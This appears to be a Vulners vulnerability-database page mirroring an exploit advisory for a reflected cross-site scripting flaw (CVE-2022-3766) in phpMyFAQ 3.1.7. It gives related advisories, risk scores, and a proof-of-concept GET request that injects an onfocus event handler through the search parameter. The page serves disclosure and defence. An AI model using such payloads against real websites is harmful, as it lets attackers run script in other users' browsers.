Vulners
Lucene search
๐ phpMyFAQ 3.1.7 Cross Site Scripting
๐๏ธย 03 Dec 2025ย 00:00:00Reported byย CodeSecLabTypeย 
ย packetstorm๐ย packetstorm.news๐ย 119ย Views
| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
 | CVE-2022-3766 | 31 Oct 202211:15 | โ | attackerkb |
 | CVE-2022-3766 | 31 Oct 202213:37 | โ | circl |
 | phpMyFAQ ่ทจ็ซ่ๆฌๆผๆด | 31 Oct 202200:00 | โ | cnnvd |
 | CVE-2022-3766 | 31 Oct 202200:00 | โ | cve |
 | CVE-2022-3766 Cross-site Scripting (XSS) - Reflected in thorsten/phpmyfaq | 31 Oct 202200:00 | โ | cvelist |
 | Reflect Cross Site Scripting when search | 20 Oct 202208:50 | โ | huntr |
 | phpMyFAQ 3.1.7 - Reflected Cross-Site Scripting (XSS) | 2 Dec 202500:00 | โ | exploitdb |
 | phpMyFAQ vulnerable to reflected Cross-site Scripting | 31 Oct 202212:00 | โ | github |
 | phpMyFAQ < 3.1.8 - Cross-Site Scripting | 7 Jun 202603:02 | โ | nuclei |
 | CVE-2022-3766 | 31 Oct 202211:15 | โ | nvd |
10
# Exploit Title: phpMyFAQ 3.1.7 - Reflected Cross-Site Scripting (XSS)
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/thorsten/phpmyfaq/
# Software Link: https://github.com/thorsten/phpmyfaq/
# Version: 3.1.7
# Tested on: Windows
# CVE : CVE-2022-3766
Proof Of Concept
GET http://phpmyfaq1/index.php?action=main&search=%22%20onfocus%3D%22alert%281%29
Additional Conditions:
- Ensure that no security mechanisms (like a web application firewall) are blocking the specific request pattern.
- The application must be running a phpMyFAQ version prior to 3.1.8.
Steps to Reproduce
Log in phpmyfaq.
Send the request.
Observe the resultData
Build on a solid foundation withย Vulners data
Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data
Api
Power your application withย Vulners API
The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access
App
Assess and manage vulnerabilities withย Vulnersย tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
03 Dec 2025 00:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 3.16.1
CVSS 37.3
EPSS0.2358
SSVC